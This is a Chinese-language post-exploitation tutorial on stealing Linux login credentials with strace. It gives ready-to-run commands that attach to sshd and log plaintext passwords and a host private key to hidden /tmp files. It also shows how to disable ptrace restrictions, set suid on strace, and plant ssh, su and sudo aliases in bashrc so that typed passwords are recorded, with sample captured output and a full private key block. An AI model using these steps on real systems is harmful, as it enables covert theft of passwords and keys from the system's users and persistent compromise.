linux后渗透之收集登录凭证
字数 1436 2025-08-25 22:58:47
Linux后渗透之收集登录凭证技术详解
一、概述
在Linux系统渗透测试中,获取shell后,信息收集是进一步渗透的关键。其中,登录凭证的收集是信息收集的重点方向。本文将详细介绍通过调试程序(strace)跟踪进程数据来收集Linux系统登录凭证的技术方法。
二、strace工具基础
1. strace简介
strace是Linux中的调试工具,可通过附加到进程来调试正在运行的进程,记录程序执行的系统调用及参数。我们可以通过它跟踪sshd、ssh、su、sudo等进程数据来获取登录凭证。
2. 安装strace
# 能出网环境
yum install strace -y # CentOS/RHEL
apt install strace -y # Debian/Ubuntu
# 不能出网环境
上传对应安装包手工安装,或编译安装
3. strace使用条件
Linux Kernel 3.4+支持限制或禁用ptrace功能,通过kernel.yama.ptrace_scope设置:
0: 经典ptrace权限(默认)1: 受限制的ptrace(仅允许调试子进程)2: 仅限管理员附加3: 完全禁用ptrace
查看和修改配置:
# 查看当前设置
cat /proc/sys/kernel/yama/ptrace_scope
# 修改设置(需要root)
echo 0 > /proc/sys/kernel/yama/ptrace_scope
# 或
sysctl kernel.yama.ptrace_scope=0
# 注意:设置为3后必须重启才能修改
三、strace常用参数
| 参数 | 描述 |
|---|---|
| -c | 统计系统调用的执行时间、次数和错误 |
| -f | 跟踪fork产生的子进程 |
| -p pid | 跟踪指定进程 |
| -e trace=set | 只跟踪指定的系统调用 |
| -e read=set | 输出从指定文件读取的数据 |
| -e write=set | 输出写入指定文件的数据 |
| -s strsize | 指定输出字符串的最大长度(默认32) |
| -o filename | 将输出写入文件 |
| -t | 在输出中添加时间信息 |
| -T | 显示每个调用耗时 |
四、收集已有进程凭证
1. 获取sshd进程明文密码
步骤:
- 以root权限执行:
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
- 使用正则表达式查找用户名和密码:
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
结果示例:
[pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
2. 获取sshd进程私钥
步骤:
- 以root权限执行:
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
- 搜索私钥:
grep 'PRIVATE KEY' /tmp/.sshd.log
结果示例:
[pid 1009] 23:17:34 read(4, "-----BEGIN OPENSSH PRIVATE KEY-----\n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\npuzYc7LCnLR8alqQAAAAlyb290QGthbGk=\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 2590
注意:抓到的私钥是服务端的host key(位于/etc/ssh/ssh_host_xxx_key),用于认证服务端身份,与用于登录的ssh key不同。
五、收集指定程序凭证
通过设置命令别名,使运行指定程序时自动strace读写系统调用。
1. 收集ssh登录凭证
步骤:
- 添加命令别名:
vi ~/.bashrc 或 /etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
source ~/.bashrc
- 记录的日志示例:
936 write(4, "root@192.168.168.20's password: ", 32) = 32
936 read(4, "t", 1) = 1
936 read(4, "o", 1) = 1
936 read(4, "o", 1) = 1
936 read(4, "r", 1) = 1
936 read(4, "\n", 1) = 1
936 write(4, "\n", 1) = 1
- 使用正则定位密码:
grep -E '.+@.+\bpassword' /tmp/.ssh-21.log
2. 收集su/sudo凭证
步骤:
- 给strace添加suid权限:
chmod +s /usr/bin/strace
- 添加命令别名:
vi ~/.bashrc 或 /etc/bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
source ~/.bashrc
- 记录的日志示例:
write(6, "[sudo] password for kali: ", 26) = 26
read(6, "i", 1) = 1
read(6, "l", 1) = 1
read(6, "a", 1) = 1
read(6, "k", 1) = 1
read(6, "\n", 1) = 1
六、总结
- 当
/proc/sys/kernel/yama/ptrace_scope不为3时,可通过strace记录程序系统调用来获取登录凭证 - 技术要点:
- 确保ptrace功能可用(kernel.yama.ptrace_scope=0)
- 正确使用strace参数跟踪读写操作
- 针对不同程序(sshd、ssh、su、sudo)采用不同跟踪策略
- 掌握日志分析方法,使用正则提取关键信息
七、参考链接
- https://klionsec.github.io/2016/09/22/strace/
- https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/
- https://www.kernel.org/doc/Documentation/security/Yama.txt